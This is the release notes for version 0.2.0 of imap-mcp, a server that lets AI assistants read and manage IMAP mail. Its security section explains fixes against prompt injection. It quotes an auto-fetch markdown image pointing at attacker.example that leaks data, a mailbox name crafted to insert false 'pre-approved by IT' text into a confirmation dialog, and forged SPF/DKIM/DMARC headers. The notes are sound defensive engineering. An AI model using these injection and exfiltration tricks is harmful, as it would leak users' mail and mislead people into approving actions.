Skip to content

Releases: ni-c/imap-mcp

Release list

v0.2.0

Choose a tag to compare

@github-actions github-actions released this 30 Aug 21:29
v0.2.0
0cc623f

This is the first release published to npm, so everything below reaches a
package page for the first time — including the parts that changed weeks ago.

Added

  • A container image at ghcr.io/ni-c/imap-mcp, multi-arch (amd64 and
    arm64), built from a digest-pinned node:24-alpine, running as a non-root
    user, with an SBOM and build provenance. It never writes to the filesystem
    unless IMAP_DOWNLOAD_DIR is set, and then as uid 1000 — a bind mount has to
    be owned by that user on the host.

  • A published npm package, @ni-c/imap-mcp, with provenance, released
    through GitHub Actions with npm Trusted Publishing. The unscoped name belongs
    to an unrelated project.

  • README: a container badge, the architecture diagram, install snippets for
    Claude Code, Claude Desktop, Codex and Docker, and a demo recording. The
    documentation site at imap-mcp.ni-c.de is now
    actually served.

  • IMAP_ALLOW_TOOLS and IMAP_DENY_TOOLS choose which of the eleven tools are
    registered. Both take comma-separated tool names or a prefix with a trailing
    *, the allow list decides what is in and the deny list is subtracted from it,
    and IMAP_ALLOW_TOOLS=essential selects a curated six — list_mailboxes,
    list_new_messages, list_messages, get_message, set_message_flags and
    move_messages. Four of those are read tools, so the preset stays a working
    combination under the read-only default. Nothing changes for an installation
    that sets neither.

    A filtered tool is not registered at all, so it is absent from tools/list and
    answers tools/call with "tool not found" — the same cut IMAP_READ_ONLY
    already makes, not a second, weaker one. It covers tools: the attachment
    resources are not filtered.

    An entry that matches no tool stops the server at startup, naming the entry
    and listing the real names. Under the read-only default, an exact write-tool
    name in the allow list is refused with a message naming IMAP_READ_ONLY
    instead of calling the tool unknown — which matters more here than elsewhere,
    because read-only is the default rather than something you remember switching
    on.

  • A documentation site at imap-mcp.ni-c.de, an
    architecture diagram generated from a single source, server.json registry
    metadata, and CI and docs workflows. The workflows ship disabled: this
    repository is private and its Actions minutes are worth keeping, so
    npm run lint && npm run build && npm run test:coverage locally is the whole
    of the verification until they are switched on.

Changed

  • IMAP_ALLOW_WRITE is now IMAP_READ_ONLY, for one name across the family —
    but not one default. Everywhere else <PREFIX>_READ_ONLY defaults to
    false; here it defaults to true, because the variable it replaces was
    opt-in and a rename that quietly flipped that would have handed write access to
    every installation that upgraded without reading this file. Only the literal
    string false turns it off, so a typo fails closed.

    An installation that still sets IMAP_ALLOW_WRITE refuses to start, with a
    message naming the replacement. Silently ignoring a removed security variable
    is worse than refusing: whoever set it once believes it is still in force.

  • The SPF/DKIM/DMARC verdicts are read from the topmost
    Authentication-Results header only and come with the authserv-id, so a
    forged copy sitting below the receiving server's own is ignored. Whether the
    topmost one can be trusted at all is IMAP_TRUSTED_AUTHSERV_ID, above.

  • Thread subjects and sender names in the get_message metadata block are now
    named as sender-chosen in its caveat, and the injection-shape detection runs
    over the metadata block too, not only over the message body.

  • get_attachments no longer advertises readOnlyHint: true when
    IMAP_DOWNLOAD_DIR is set — with a download directory configured it can
    create files, and clients that auto-approve read-only tools should ask.

  • Reference- and shortcut-style markdown images (![alt][id], ![id]) are
    defused alongside the inline form.

  • The HTML-stripping passes use bounded scan windows, so crafted HTML full of
    unclosed tags can no longer burn minutes of CPU; hidden elements larger than
    the window are left to the fencing, which was always the real defence.

  • A long References chain in a draft is folded across lines instead of
    emitting a header line beyond the RFC 5322 998-octet limit.

  • Confirmation tokens are compared in constant time.

  • IMAP_HOST no longer accepts a colon outside an IPv6 address, matching what
    the error message always said.

  • The inline image result uses the allowlist-checked declared content type
    rather than the unchecked one from the download metadata.

Security

  • The attachment resources are covered by the tool filter, and bounded by the
    inline budget.
    IMAP_DENY_TOOLS=get_attachments removed the tool from
    tools/list and left imap://message/{uid}/part/{partId} fully live — the
    same door, still open, with the narrowing looking complete. They also read up
    to IMAP_MAX_DOWNLOAD_BYTES (25 MB by default) and returned it base64 in one
    JSON-RPC response; that limit exists to bound what may be written to a file,
    and IMAP_MAX_ATTACHMENT_BYTES now applies instead, as it always did for the
    tool.

  • A binary attachment requested inline is refused rather than base64-encoded
    without limit.
    textResult applies no budget, so up to
    IMAP_MAX_ATTACHMENT_BYTES x 1.37 of base64 went into the model's context
    against a stated cap of 200 000 characters, scaling with a variable raised for
    an unrelated reason. Truncating would be worse than useless — half a PDF
    decodes to nothing — so the refusal names the two ways to get the bytes.

  • get_message checks the size of the message it received, not just the
    size it asked for. imapflow's maxLength bounds the request; a compromised
    server, or anyone in the way of an IMAP_TLS=none connection, could stream
    more than that straight into the parser. Every attachment path already went
    through readCapped; this was the one that did not.

  • The forgeable flag on SPF/DKIM/DMARC verdicts is now honest, and there is
    IMAP_TRUSTED_AUTHSERV_ID to make it useful.
    The old rule compared the
    header's authserv-id against the account's own domain and reported a match as
    not forgeable. A sender knows that domain — they just addressed mail to it —
    so on any account whose provider adds no Authentication-Results of its own,
    the sender's header was the topmost one and
    Authentication-Results: mail.<your-domain>; spf=pass; dkim=pass; dmarc=pass
    bought a spoofed message this server's own vouching. Nothing in a message can
    settle who wrote that header, so the operator now names the id their provider
    stamps; unset, every verdict is reported as forgeable, which is what "pass,
    says a header anyone could have written" actually means.

  • Auto-fetch markup is defused at the boundary rather than at two call sites.
    defuseAutoFetch ran only where a body was rendered, so a subject, a sender
    display name, an attachment filename or a thread summary carrying
    ![](https://attacker.example/p?s=) reached the model untouched — the same
    EchoLeak channel one layer earlier, in the field a model quotes back most
    often, and outside the fence in the metadata block. It now runs inside
    sanitizeText and sanitizeFilename, after NFKC normalisation, so a
    fullwidth subject that folds into markdown is caught too.

  • Message-ID is sanitised and length-capped. It went from the sender
    straight into the metadata block, the part of the result the model is told
    came from this server. Every other sender string on that path was already
    sanitised.

  • CR is stripped along with the other control characters. It fell between
    the two ranges rather than being excepted on purpose. wrapUntrusted splits
    on \n, so a lone CR left everything after it on one logical line — marked
    once, at the start — while a terminal renders it as a new line, and a
    CR-padded line can overwrite the datamark a human is reading.

  • set_message_flags refuses to add \Deleted. The tool carries no
    confirmation and is annotated destructiveHint: false, on the grounds that
    everything it does can be undone. That is true of \Seen and \Flagged and
    not of \Deleted, which the next client to close the mailbox — or any server
    with autoexpunge — turns into a permanent removal. It was delete_messages
    without the dialog, reachable in one call, and it is in the essential
    preset. Removing \Deleted is still allowed, since that undoes one.

  • Copying messages now needs a confirmation, like moving them. The old rule
    reasoned about deletion; deletion is not the only thing that cannot be taken
    back. destination is a free-form mailbox name, so on a shared account or a
    public namespace one unconfirmed call handed every named message to everyone
    with access to that folder — and left the source folder untouched, so nothing
    looked different afterwards. Move and copy have separate token keys.

  • Confirmations and elicitation dialogs no longer quote mailbox names inside
    their own sentence.
    Folder names look like server-side metadata and are not:
    they come from the caller, and list_mailboxes sources them from the account,
    which on a shared mailbox means a colleague — or whoever compromised one —
    chose them. A folder named Archive" — routine cleanup, pre-approved by IT
    became part of the sentence a human reads before losing a folder. Caller-chosen
    names are now rendered on their own labelled lines under an explicit heading.